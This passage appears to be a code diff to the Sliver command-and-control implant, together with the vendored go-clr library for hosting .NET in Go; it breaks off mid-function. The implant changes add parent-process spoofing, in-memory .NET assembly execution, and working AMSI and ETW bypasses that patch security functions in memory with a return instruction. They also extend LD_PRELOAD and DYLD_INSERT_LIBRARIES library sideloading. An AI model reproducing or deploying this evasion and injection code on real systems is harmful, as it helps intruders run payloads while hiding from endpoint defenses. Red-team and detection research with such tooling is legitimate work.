spawnResp.Response = &commonpb.Response{
+1 -1
View File
@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
if err != nil {
return
}
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
errStr := ""
if err != nil {
errStr = err.Error()
@@ -19,17 +19,18 @@ package tunnel_handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}
once := sync.Once{}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
+7 -1
View File
@@ -458,8 +458,13 @@ func (p *NetConnPivot) write(message []byte) error {
}
total := 0
chunk := 1024
for total < len(message) {
n, err = p.conn.Write(message[total:])
if total+chunk <= len(message) {
n, err = p.conn.Write(message[total : total+chunk])
} else {
n, err = p.conn.Write(message[total:])
}
total += n
if err != nil {
// {{if .Config.Debug}}
@@ -468,6 +473,7 @@ func (p *NetConnPivot) write(message []byte) error {
return err
}
}
return nil
}
+2
View File
@@ -1,3 +1,4 @@
//go:build darwin
// +build darwin
package ps
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
+5 -3
View File
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+1
View File
@@ -0,0 +1 @@
package spoof
+28
View File
@@ -0,0 +1,28 @@
//go:build windows
// +build windows
package spoof
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
// {{if .Config.Debug}}
"log"
// {{end}}
)
func SpoofParent(ppid uint32, cmd *exec.Cmd) error {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_QUERY_INFORMATION, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return err
}
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &windows.SysProcAttr{}
}
cmd.SysProcAttr.ParentProcess = syscall.Handle(parentHandle)
return nil
}
+109
View File
@@ -0,0 +1,109 @@
//go:build windows
// +build windows
package taskrunner
import (
"crypto/sha256"
"errors"
"fmt"
clr "github.com/Ne0nd0g/go-clr"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var (
clrInstance *CLRInstance
assemblies []*assembly
)
type assembly struct {
methodInfo *clr.MethodInfo
hash [32]byte
}
type CLRInstance struct {
runtimeHost *clr.ICORRuntimeHost
sync.Mutex
}
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
c.Lock()
defer c.Unlock()
if c.runtimeHost == nil {
// {{if .Config.Debug}}
log.Printf("Initializing CLR runtime host")
// {{end}}
c.runtimeHost, _ = clr.LoadCLR(runtime)
err := clr.RedirectStdoutStderr()
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not redirect stdout/stderr: %v\n", err)
// {{end}}
}
}
return c.runtimeHost
}
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
var (
methodInfo *clr.MethodInfo
err error
)
rtHost := clrInstance.GetRuntimeHost(runtime)
if rtHost == nil {
return "", errors.New("Could not load CLR runtime host")
}
if asm := getAssembly(data); asm != nil {
methodInfo = asm.methodInfo
} else {
methodInfo, err = clr.LoadAssembly(rtHost, data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not load assembly: %v\n", err)
// {{end}}
return "", err
}
addAssembly(methodInfo, data)
}
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
// for methods like Main(String[] args), if we pass an empty string slice
// the clr loader will not pass the argument and look for a method with
// no arguments, which won't work
assemblyArgs = []string{" "}
}
// {{if .Config.Debug}}
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
// {{end}}
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
// {{if .Config.Debug}}
log.Printf("Got output: %s\n%s\n", stdout, stderr)
// {{end}}
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
}
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
asmHash := sha256.Sum256(data)
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
assemblies = append(assemblies, asm)
}
func getAssembly(data []byte) *assembly {
asmHash := sha256.Sum256(data)
for _, asm := range assemblies {
if asm.hash == asmHash {
return asm
}
}
return nil
}
func init() {
clrInstance = &CLRInstance{}
assemblies = make([]*assembly, 0)
}
+7 -2
View File
@@ -58,11 +58,12 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
cmd *exec.Cmd
)
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
err := ioutil.WriteFile(fdPath, data, 0755)
@@ -75,7 +76,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
if len(procArgs) > 0 {
cmd = exec.Command(procName, procArgs...)
} else {
cmd = exec.Command(procName)
}
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
+7 -2
View File
@@ -56,12 +56,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
cmd *exec.Cmd
)
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
@@ -95,7 +96,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
if len(procArgs) > 0 {
cmd = exec.Command(procName, procArgs...)
} else {
cmd = exec.Command(procName)
}
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
+115 -14
View File
@@ -31,6 +31,7 @@ import (
"time"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"syscall"
// {{if .Config.Evasion}}
"github.com/bishopfox/sliver/implant/sliver/evasion"
@@ -199,12 +200,102 @@ func LocalTask(data []byte, rwxPages bool) error {
return err
}
func ExecuteAssembly(data []byte, process string) (string, error) {
func patchAmsi() error {
// load amsi.dll
amsiDLL := windows.NewLazyDLL("amsi.dll")
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
amsiScanString := amsiDLL.NewProc("AmsiScanString")
// patch
amsiAddr := []uintptr{
amsiScanBuffer.Addr(),
amsiInitialize.Addr(),
amsiScanString.Addr(),
}
patch := byte(0xC3)
for _, addr := range amsiAddr {
// skip if already patched
if *(*byte)(unsafe.Pointer(addr)) != patch {
// {{if .Config.Debug}}
log.Println("Patching AMSI")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return err
}
*(*byte)(unsafe.Pointer(addr)) = 0xC3
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return err
}
}
}
return nil
}
func patchEtw() error {
ntdll := windows.NewLazyDLL("ntdll.dll")
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
// patch
patch := byte(0xC3)
// skip if already patched
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
// {{if .Config.Debug}}
log.Println("Patching ETW")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return err
}
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return err
}
}
return nil
}
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
if amsiBypass {
err := patchAmsi()
if err != nil {
return "", err
}
}
if etwBypass {
err := patchEtw()
if err != nil {
return "", err
}
}
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
}
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
var (
stdoutBuf, stderrBuf bytes.Buffer
lpTargetHandle windows.Handle
)
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
if err != nil {
//{{if .Config.Debug}}
log.Println("Could not start process:", process)
@@ -252,7 +343,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
return stdoutBuf.String() + stderrBuf.String(), nil
}
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
@@ -261,7 +352,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
var stdoutBuff bytes.Buffer
var stderrBuff bytes.Buffer
// 1 - Start process
cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
if err != nil {
return "", err
}
@@ -327,9 +418,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
return "", nil
}
//SideLoad - Side load a binary as shellcode and returns its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
return SpawnDll(procName, data, 0, "", kill)
// SideLoad - Side load a binary as shellcode and returns its output
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
}
// Util functions
@@ -358,20 +449,30 @@ func refresh() error {
return nil
}
func startProcess(proc string, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
cmd := exec.Command(proc)
func startProcess(proc string, args []string, ppid uint32, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
var cmd *exec.Cmd
if len(args) > 0 {
cmd = exec.Command(proc, args...)
} else {
cmd = exec.Command(proc)
}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(CurrentToken),
Token: syscall.Token(CurrentToken),
HideWindow: true,
}
err := spoof.SpoofParent(ppid, cmd)
if err != nil {
// We couldn't spoof the parent, fail open and continue
//{{if .Config.Debug}}
log.Printf("could not spoof parent PID: %v\n", err)
//{{end}}
}
cmd.Stdout = stdout
cmd.Stderr = stderr
cmd.SysProcAttr = &windows.SysProcAttr{
HideWindow: true,
}
if suspended {
cmd.SysProcAttr.CreationFlags = windows.CREATE_SUSPENDED
}
err := cmd.Start()
err = cmd.Start()
if err != nil {
//{{if .Config.Debug}}
log.Println("Could not start process:", proc)
+7
View File
@@ -0,0 +1,7 @@
.idea
__handlers__
*.exe
*.dll
*.cs
scratch/
static/
+13
View File
@@ -0,0 +1,13 @@
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <[email protected]>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
+69
View File
@@ -0,0 +1,69 @@
# go-clr
[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
load structs from memory.
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
## Installation and Usage
`go-clr` is intended to be used as a package in other scripts. Install it with:
```bash
go get github.com/ropnop/go-clr
```
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
`ExecuteByteArray`. Here's a quick example of using both:
```go
package main
import (
clr "github.com/ropnop/go-clr"
"log"
"fmt"
"io/ioutil"
"runtime"
)
func main() {
fmt.Println("[+] Loading DLL from Disk")
ret, err := clr.ExecuteDLLFromDisk(
"TestDLL.dll",
"TestDLL.HelloWorld",
"SayHello",
"foobar")
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] DLL Return Code: %d\n", ret)
fmt.Println("[+] Executing EXE from memory")
exebytes, err := ioutil.ReadFile("helloworld.exe")
if err != nil {
log.Fatal(err)
}
runtime.KeepAlive(exebytes)
ret2, err := clr.ExecuteByteArray(exebytes)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
}
```
The other 2 examples show the same technique but without the magic functions.
### License
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
some organizations forbid this license from being used in products (which is a good thing).
+212
View File
@@ -0,0 +1,212 @@
//go:build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
// This structure only contains a pointer to the AppDomain's virtual function table
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomain struct {
vtbl *AppDomainVtbl
}
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
// The Virtual Function Table contains pointers to the COM IUnkown interface
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomainVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
InitializeLifetimeService uintptr
GetLifetimeService uintptr
get_Evidence uintptr
add_DomainUnload uintptr
remove_DomainUnload uintptr
add_AssemblyLoad uintptr
remove_AssemblyLoad uintptr
add_ProcessExit uintptr
remove_ProcessExit uintptr
add_TypeResolve uintptr
remove_TypeResolve uintptr
add_ResourceResolve uintptr
remove_ResourceResolve uintptr
add_AssemblyResolve uintptr
remove_AssemblyResolve uintptr
add_UnhandledException uintptr
remove_UnhandledException uintptr
DefineDynamicAssembly uintptr
DefineDynamicAssembly_2 uintptr
DefineDynamicAssembly_3 uintptr
DefineDynamicAssembly_4 uintptr
DefineDynamicAssembly_5 uintptr
DefineDynamicAssembly_6 uintptr
DefineDynamicAssembly_7 uintptr
DefineDynamicAssembly_8 uintptr
DefineDynamicAssembly_9 uintptr
CreateInstance uintptr
CreateInstanceFrom uintptr
CreateInstance_2 uintptr
CreateInstanceFrom_2 uintptr
CreateInstance_3 uintptr
CreateInstanceFrom_3 uintptr
Load uintptr
Load_2 uintptr
Load_3 uintptr
Load_4 uintptr
Load_5 uintptr
Load_6 uintptr
Load_7 uintptr
ExecuteAssembly uintptr
ExecuteAssembly_2 uintptr
ExecuteAssembly_3 uintptr
get_FriendlyName uintptr
get_BaseDirectory uintptr
get_RelativeSearchPath uintptr
get_ShadowCopyFiles uintptr
GetAssemblies uintptr
AppendPrivatePath uintptr
ClearPrivatePath uintptr
SetShadowCopyPath uintptr
ClearShadowCopyPath uintptr
SetCachePath uintptr
SetData uintptr
GetData uintptr
SetAppDomainPolicy uintptr
SetThreadPrincipal uintptr
SetPrincipalPolicy uintptr
DoCallBack uintptr
get_DynamicDirectory uintptr
}
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
debugPrint("Entering into appdomain.GetAppDomain()...")
iu, err := runtimeHost.GetDefaultDomain()
if err != nil {
return
}
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
return
}
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
debugPrint("Entering into appdomain.QueryInterface()...")
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *AppDomain) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *AppDomain) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetHashCode serves as the default hash function.
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
func (obj *AppDomain) GetHashCode() (int32, error) {
debugPrint("Entering into appdomain.GetHashCode()...")
ret, _, err := syscall.Syscall(
obj.vtbl.GetHashCode,
2,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
}
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
return int32(ret), nil
}
// Load_3 Loads an Assembly into this application domain.
// virtual HRESULT __stdcall Load_3 (
// /*[in]*/ SAFEARRAY * rawAssembly,
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
debugPrint("Entering into appdomain.Load_3()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Load_3,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(rawAssembly)),
uintptr(unsafe.Pointer(&assembly)),
)
if err != syscall.Errno(0) {
if err != syscall.Errno(1150) {
return
}
}
if hr != S_OK {
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
func (obj *AppDomain) ToString() (domain string, err error) {
debugPrint("Entering into appdomain.ToString()...")
var pDomain *string
hr, _, err := syscall.Syscall(
obj.vtbl.get_ToString,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pDomain)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
return
}
+129
View File
@@ -0,0 +1,129 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// from mscorlib.tlh
type Assembly struct {
vtbl *AssemblyVtbl
}
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
type AssemblyVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_CodeBase uintptr
get_EscapedCodeBase uintptr
GetName uintptr
GetName_2 uintptr
get_FullName uintptr
get_EntryPoint uintptr
GetType_2 uintptr
GetType_3 uintptr
GetExportedTypes uintptr
GetTypes uintptr
GetManifestResourceStream uintptr
GetManifestResourceStream_2 uintptr
GetFile uintptr
GetFiles uintptr
GetFiles_2 uintptr
GetManifestResourceNames uintptr
GetManifestResourceInfo uintptr
get_Location uintptr
get_Evidence uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
GetObjectData uintptr
add_ModuleResolve uintptr
remove_ModuleResolve uintptr
GetType_4 uintptr
GetSatelliteAssembly uintptr
GetSatelliteAssembly_2 uintptr
LoadModule uintptr
LoadModule_2 uintptr
CreateInstance uintptr
CreateInstance_2 uintptr
CreateInstance_3 uintptr
GetLoadedModules uintptr
GetLoadedModules_2 uintptr
GetModules uintptr
GetModules_2 uintptr
GetModule uintptr
GetReferencedAssemblies uintptr
get_GlobalAssemblyCache uintptr
}
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *Assembly) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *Assembly) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetEntryPoint returns the assembly's MethodInfo
// virtual HRESULT __stdcall get_EntryPoint (
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
debugPrint("Entering into assembly.GetEntryPoint()...")
hr, _, err := syscall.Syscall(
obj.vtbl.get_EntryPoint,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pRetVal)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+367
View File
@@ -0,0 +1,367 @@
// +build windows
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// execute a managed DLL from disk or a managed EXE from memory
package clr
import (
"fmt"
"strings"
"syscall"
"unsafe"
)
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
var runtimes []string
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
if err != nil {
return runtimes, err
}
var hr int
for hr != S_FALSE {
var runtimeInfo *ICLRRuntimeInfo
var fetched = uint32(0)
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
if err != nil {
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
}
if hr == S_FALSE {
break
}
// Only release if an interface pointer was returned
runtimeInfo.Release()
version, err := runtimeInfo.GetVersionString()
if err != nil {
return runtimes, err
}
runtimes = append(runtimes, version)
}
if len(runtimes) == 0 {
return runtimes, fmt.Errorf("Could not find any installed runtimes")
}
return runtimes, err
}
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
// and Argument to use as strings. It returns the return code from the assembly
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
retCode = -1
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return
}
runtimes, err := GetInstalledRuntimes(metahost)
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
if err != nil {
return
}
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
must(err)
pTypeName, err := syscall.UTF16PtrFromString(typeName)
must(err)
pMethodName, err := syscall.UTF16PtrFromString(methodName)
must(err)
pArgument, err := syscall.UTF16PtrFromString(argument)
must(err)
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
must(err)
if *ret != 0 {
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
}
runtimeHost.Release()
runtimeInfo.Release()
metahost.Release()
return 0, nil
}
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
// You can supply an array of strings as command line arguments.
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
retCode = -1
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return
}
runtimes, err := GetInstalledRuntimes(metahost)
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
if err != nil {
return
}
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
